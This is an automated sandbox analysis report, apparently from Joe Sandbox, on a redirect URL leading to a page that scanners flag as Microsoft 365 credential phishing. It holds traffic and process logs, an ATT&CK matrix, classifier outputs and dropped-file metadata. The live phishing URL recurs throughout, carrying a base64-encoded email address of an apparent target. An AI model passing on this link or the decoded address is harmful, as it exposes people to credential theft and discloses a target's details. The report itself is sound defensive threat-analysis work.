Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933

Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.9:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.9:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.9:49790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.9:49822 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.9:49998 version: TLS 1.2

Source: classification engine

Classification label: mal64.phis.win@17/21@14/8

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2164 --field-trial-handle=2000,i,5068049078608606365,13413007719438405554,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.google.ca/url?q=30NUMBER&rct=77151727248916238810&sa=t&url=amp/s/estudioit.cl/starl/%23YW5nZWxhLmhvZGdzb25AMnNmZy5jb20="
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2164 --field-trial-handle=2000,i,5068049078608606365,13413007719438405554,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://www.google.ca/url?q=30NUMBER&rct=77151727248916238810&sa=t&url=amp/s/estudioit.cl/starl/%23YW5nZWxhLmhvZGdzb25AMnNmZy5jb20=	0%	Avira URL Cloud	safe
https://www.google.ca/url?q=30NUMBER&rct=77151727248916238810&sa=t&url=amp/s/estudioit.cl/starl/%23YW5nZWxhLmhvZGdzb25AMnNmZy5jb20=	100%	SlashNext	Credential Stealing type: Phishing & Social Engineering

Source	Detection	Scanner	Label
https://estudioit.cl/starl/style.css	100%	Avira URL Cloud	phishing
https://estudioit.cl/starl/favicon.ico	100%	Avira URL Cloud	phishing
https://estudioit.cl/starl/logo.png	100%	Avira URL Cloud	phishing
https://estudioit.cl/starl/	100%	Avira URL Cloud	phishing
https://estudioit.cl/starl/script.js	100%	Avira URL Cloud	phishing

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
ipapi.co	104.26.9.44	true	false	high
www.google.ca	142.250.186.131	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
www.google.com	142.250.186.100	true	false	high
estudioit.cl	173.248.187.77	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://www.google.ca/url?q=30NUMBER&rct=77151727248916238810&sa=t&url=amp/s/estudioit.cl/starl/%23YW5nZWxhLmhvZGdzb25AMnNmZy5jb20=	false		high
https://estudioit.cl/starl/logo.png	false	Avira URL Cloud: phishing	unknown
https://estudioit.cl/starl/style.css	false	Avira URL Cloud: phishing	unknown
https://estudioit.cl/starl/script.js	false	Avira URL Cloud: phishing	unknown
https://estudioit.cl/starl/	false	Avira URL Cloud: phishing	unknown
https://estudioit.cl/starl/favicon.ico	false	Avira URL Cloud: phishing	unknown
https://ipapi.co/json/	false		high
https://www.google.ca/amp/s/estudioit.cl/starl/	false		high
https://estudioit.cl/starl/#YW5nZWxhLmhvZGdzb25AMnNmZy5jb20=	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.26.8.44	unknown	United States	13335	CLOUDFLARENETUS	false
104.26.9.44	ipapi.co	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
173.248.187.77	estudioit.cl	United States	30475	WEHOSTWEBSITES-COMUS	false
142.250.186.131	www.google.ca	United States	15169	GOOGLEUS	false
142.250.186.164	unknown	United States	15169	GOOGLEUS	false
142.250.186.100	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.9

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1559220
Start date and time:	2024-11-20 10:19:02 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 20s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://www.google.ca/url?q=30NUMBER&rct=77151727248916238810&sa=t&url=amp/s/estudioit.cl/starl/%23YW5nZWxhLmhvZGdzb25AMnNmZy5jb20=
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal64.phis.win@17/21@14/8
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.184.227, 142.250.184.206, 108.177.15.84, 34.104.35.123, 142.250.186.138, 142.250.185.138, 142.250.185.234, 142.250.184.234, 142.250.181.234, 142.250.186.74, 142.250.186.170, 142.250.185.106, 216.58.206.42, 142.250.185.202, 172.217.23.106, 216.58.206.74, 142.250.185.170, 216.58.212.170, 142.250.185.74, 172.217.16.202, 192.229.221.95
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, otelrules.azureedge.net, otelrules.afd.azureedge.net, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, update.googleapis.com, azureedge-t-prod.trafficmanager.net, clients.l.google.com
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://www.google.ca/url?q=30NUMBER&rct=77151727248916238810&sa=t&url=amp/s/estudioit.cl/starl/%23YW5nZWxhLmhvZGdzb25AMnNmZy5jb20=

Input	Output
URL: https://www.google.ca Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://www.google.ca
URL: https://estudioit.cl/starl/#YW5nZWxhLmhvZGdzb25AMnNmZy5jb20= Model: Joe Sandbox AI	```json { "contains_trigger_text": true, "trigger_text": "Please complete the security check", "prominent_button_name": "Verify", "text_input_field_labels": [ "Enter the code above" ], "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false }

URL: https://estudioit.cl Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://estudioit.cl
URL: https://estudioit.cl/starl/#YW5nZWxhLmhvZGdzb25AMnNmZy5jb20= Model: Joe Sandbox AI	```json { "brands": [ "Microsoft 365" ] }
	```json { "brands": [ "Microsoft 365" ] }
URL: https://estudioit.cl/starl/#YW5nZWxhLmhvZGdzb25AMnNmZy5jb20= Model: Joe Sandbox AI	```json{ "legit_domain": "microsoft.com", "classification": "wellknown", "reasons": [ "The brand 'Microsoft 365' is a well-known brand associated with Microsoft.", "The URL 'estudioit.cl' does not match the legitimate domain 'microsoft.com'.", "The domain 'estudioit.cl' does not have any obvious connection to Microsoft or Microsoft 365.", "The presence of input fields asking for a code could be indicative of a phishing attempt, especially if the domain is unrelated to the brand." ], "riskscore": 9} Google indexed: False
URL: estudioit.cl Brands: Microsoft 365 Input Fields: Enter the code above
URL: https://estudioit.cl/starl/#YW5nZWxhLmhvZGdzb25AMnNmZy5jb20= Model: Joe Sandbox AI	```json { "contains_trigger_text": true, "trigger_text": "Please complete the security check", "prominent_button_name": "Verify", "text_input_field_labels": [ "Enter the code above" ], "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false }

URL: https://estudioit.cl/starl/#YW5nZWxhLmhvZGdzb25AMnNmZy5jb20= Model: Joe Sandbox AI	```json { "brands": [ "Microsoft 365" ] }
	```json { "brands": [ "Microsoft 365" ] }
URL: https://estudioit.cl/starl/#YW5nZWxhLmhvZGdzb25AMnNmZy5jb20= Model: Joe Sandbox AI	```json{ "legit_domain": "microsoft.com", "classification": "wellknown", "reasons": [ "The brand 'Microsoft 365' is well-known and typically associated with the domain 'microsoft.com'.", "The URL 'estudioit.cl' does not match the legitimate domain for Microsoft 365.", "The domain 'estudioit.cl' does not appear to be related to Microsoft or its services.", "The presence of a generic input field 'Enter the code above' without context can be indicative of phishing attempts.", "The URL does not contain any direct association with Microsoft, which is suspicious given the brand mentioned." ], "riskscore": 9} Google indexed: False
URL: estudioit.cl Brands: Microsoft 365 Input Fields: Enter the code above

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Nov 20 08:20:00 2024, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.9789696127273126
Encrypted:	false
SSDEEP:	48:8IdiTxikH5idAKZdA1P4ehwiZUklqehKlxy+3:8dFi+Orxy
MD5:	CE6DB94FF961D5D7DA73C9E1622DD0FE
SHA1:	1620931B4500ED1812264BCDC50C95F2279934A6
SHA-256:	5D234B639350721AB150F97AEC82BACF4E1FCA35AB2F487DB971A1A7DB378022
SHA-512:	4E29F6F76694C0F038458C410379C19E0ABB3878D79903C8394E2396D8230F1507E5829325F143D193A14B7381075FD8BA7D01F8531E5DAF7E51AEB11B3A4BB3
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......._-;....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.ItYzJ....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VtYzJ....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.VtYzJ....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.VtYzJ.............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.VtY.J...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........vv.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Nov 20 08:20:00 2024, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	3.9938040369806798
Encrypted:	false
SSDEEP:	48:8udiTxikH5idAKZdA1+4eh/iZUkAQkqehZlxy+2:87Fi/F9Q4xy
MD5:	86F7943A43D69F49C79EB0191702F962
SHA1:	C800B3CEA93B22DB0667D17BABC3E2667FDADC32
SHA-256:	DD3C110D62896F2B428D1DE8EA8B6A405BD0BB5E71B1CDC14017D50417B62CAC
SHA-512:	F96FD1E833BC20DCC378E6EE1C813D51E66C5D89262F99E6727C73D3B0A1BEDF469751CB07DFD9C079E5FB034B6039C85196CBB6ADEAF7DFA869CDC266A00A90
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....V.._-;....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.ItYzJ....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VtYzJ....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.VtYzJ....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.VtYzJ.............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.VtY.J...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........vv.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 5 07:56:51 2023, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	4.003260327593488
Encrypted:	false
SSDEEP:	48:8CdiTxiVH5idAKZdA1404eh7sFiZUkmgqeh7sPlxy+BX:83FiZInfxy
MD5:	D919B9C20F536A41DCC25E55834CE5EF
SHA1:	B5CF5369AC82B7EC8A1896E3B79AF17C90770FD2
SHA-256:	6770B303550C46AAE79DF03185B3B31AAA2FB6CBC0DC88F2780B8D7262C89CFE
SHA-512:	E5C00AD59C3B0D36A2041062E91FD35B7DA51DED1E5E650E71E2C648646BA43C95268B6EE2200DDAFAEF4DBEDBA4FCA480C46689FACD44F162A36CE366FFB52C
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....<}.i.....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.ItYzJ....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VtYzJ....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.VtYzJ....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.VtYzJ.............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.VEW.F...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........vv.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Nov 20 08:20:00 2024, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9900451843372333
Encrypted:	false
SSDEEP:	48:8X7diTxikH5idAKZdA1p4ehDiZUkwqehNlxy+R:8YFiI5Vxy
MD5:	72125443E2F7B1566A00091898530483
SHA1:	47A0BC8D330A530F652C21614FEC6665A471D6E1
SHA-256:	4D9091447F07CF578F5C1A1F6093EEBE5B7624F517448A76C58884AECA41F17C
SHA-512:	5E30AAF6C8475C421B42D538B12EE1D1EEED8931A19B582076ACD82B8B7D3CB106F577B7FB0F69CED153D9CDF8C737EC4E2E31314A1D75B6B93E5D5361BB56C1
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....1._-;....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.ItYzJ....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VtYzJ....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.VtYzJ....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.VtYzJ.............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.VtY.J...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........vv.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
